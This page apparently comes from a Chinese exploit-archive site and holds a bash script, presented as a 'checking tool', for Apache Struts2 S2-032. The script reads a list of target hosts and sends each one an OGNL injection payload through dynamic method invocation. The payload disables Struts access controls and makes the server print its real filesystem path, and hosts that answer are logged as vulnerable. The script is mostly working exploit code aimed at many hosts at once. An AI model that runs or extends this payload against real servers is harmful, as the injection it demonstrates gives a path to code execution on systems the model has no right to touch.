首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Struts2 S2-032 checking tools
来源:bb.qnyd@gmail.com 作者:7ym0n.q6e 发布时间:2016-04-27  
#!/usr/bin/env bash
#
# Struts2 S2-032 checking tools.
# author: 7ym0n.q6e/bb.qnyd@gmail.com
# Copyleft (C) 2016 7ym0n.q6e.  All rights reserved.
#
# Struts S2-032 is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Struts S2-032.  If not, see <http://www.gnu.org/licenses/>.
#

tools=`which http`
if [ $tools = "" ];then
	echo -e	"\033[0;31m ERROR:\thttp not found."
	echo -e "\033[0;31m Pealse install httpie tools."
	echo -e "\033[0;31m github project:\thttps://github.com/jkbrzt/httpie"
	
fi

if [[ "$1" = "" || "$2" = "" ]];then
	echo -e "\033[0;32m HELP:"
	echo -e "\033[0;32m 	./s2-032.sh [URLS FILE] [RESULT FILE]"
	echo -e "\033[0;32m	website url write to URLS FILE"
	echo -e "\033[0;32m Example:"
	echo -e "\033[0;32m	echo -e \"127.0.0.1:8080\\\n192.168.1.28:8080\" >> urls.txt;"
	echo -e "\033[0;32m	./s2-032.sh urls.txt out.txt"
	echo -e "\033[0;32m"
	exit 0;
fi
count=`wc -l $1`
urls=`cat $1`; 
echo "out file,clearing..."
rm -rf $2
echo "exploiting..."
n=1
for u in $urls;
do 
	echo -e "\033[0;32m[$n/$count]"
	n=$(($n+1))
	#echo $u;
	if [ "$u" != "" ];then
		rst=`http "$u?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest%28%29,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29,%23res.setCharacterEncoding%28%23parameters.encoding[0]%29,%23path%3d%23req.getRealPath%28%23parameters.pp[0]%29,%23w%3d%23res.getWriter%28%29,%23w.print%28%23path%29,1?%23xx:%23request.toString&pp=%2f7ym0n.jsp&encoding=UTF-8"`
		mach=`echo $rst | grep "7ym0n.jsp"`
		if [ "$mach" != "" ];then
			echo $u $mach >> $2
		fi
	
	fi
done
echo "Done!!!"
exit 0;

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·RATS 2.3 Crash Proof Of Concep
·Multiple Vendors (RomPager <=
·Texas Instruments Calculators
·Windows - CSRSS BaseSrvCheckVD
·Yasr Screen Reader 0.6.9 - Loc
·Rough Auditing Tool for Securi
·HP Data Protector 6.10 / 6.11
·Acunetix WVS 10 - Remote Comma
·Rough Auditing Tool for Securi
·Apache Struts Dynamic Method I
·PCMan FTP Server 2.0.7 - RENAM
·Linux x64 - Bind Shell Shellco
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved